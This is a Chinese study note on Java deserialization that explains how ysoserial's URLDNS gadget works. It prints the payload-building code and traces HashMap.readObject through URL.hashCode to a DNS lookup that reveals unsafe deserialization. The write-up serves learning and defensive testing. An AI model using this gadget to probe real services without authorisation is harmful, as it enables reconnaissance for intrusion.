Java反序列化学习之URLDNS

URLDNS用于发送DNS请求来探测是否存在反序列化,因为该gadget没有过多依赖(jdk自带)

下面这一段是从ysoserial 截取出来的代码

1
2
3
4
5
6
7
8
public Object getObject(final String url) throws Exception {         
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}

URLStreamHandler handler = new SilentURLStreamHandler(); SilentURLStreamHandler(); 是Yso自己实现的一个继承URLStreamHandler类的一个子类 里面重写了getHostAddress 和 openConnection 方法使得在生成Payload的时候不会进行查询,先实例化 SilentURLStreamHandler对象handler,然后实例化一个HashMap对象ht 和一个URL对象u 并将 url和hander传入

然后将u对象和我们传入的url 放进HashMap的put方法里处理,我们可以看看put方法

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

可以看到在ht.put(u, url); 中将u传入 也就是说此时put传入的key为u,然后又传入putVal(hash(key), key, value, false, true),并调用了hash方法处理key,跟入hash方法 发现这里调用了

1
2
3
4
static final int hash(Object key) {        
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

key的hashCode方法相当于调用了u(URL类)的hashCode,跟进URL的hashCode方法

1
2
3
4
5
6
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}

这里先判断了hashCode是否不等于-1 如果不等于则直接返回hashCode,这就是前面为什么要通过反射修改hashCode为-1的原因Reflections.setFieldValue(u, "hashCode", -1);

否则调用handler.hashCode获取hashCode赋值给 hashCode 这里跟进handler.hashCode()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected int hashCode(URL u) {
int h = 0;
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
...
}

跟进getHostAddress(u);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

可以看到在InetAddress.getByName(host); 中进行了DNS查询

我们知道当反序列化的对象中存在重写的readObject方法 会优先调用重写的的readObject方法,所以我们查看HashMap对象的readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}

此时提取了我们传入的HashMap对象里的Key(URL)进入hash方法 然后回到我们上面所分析的HashMap是如何触发的DNS查询就明了。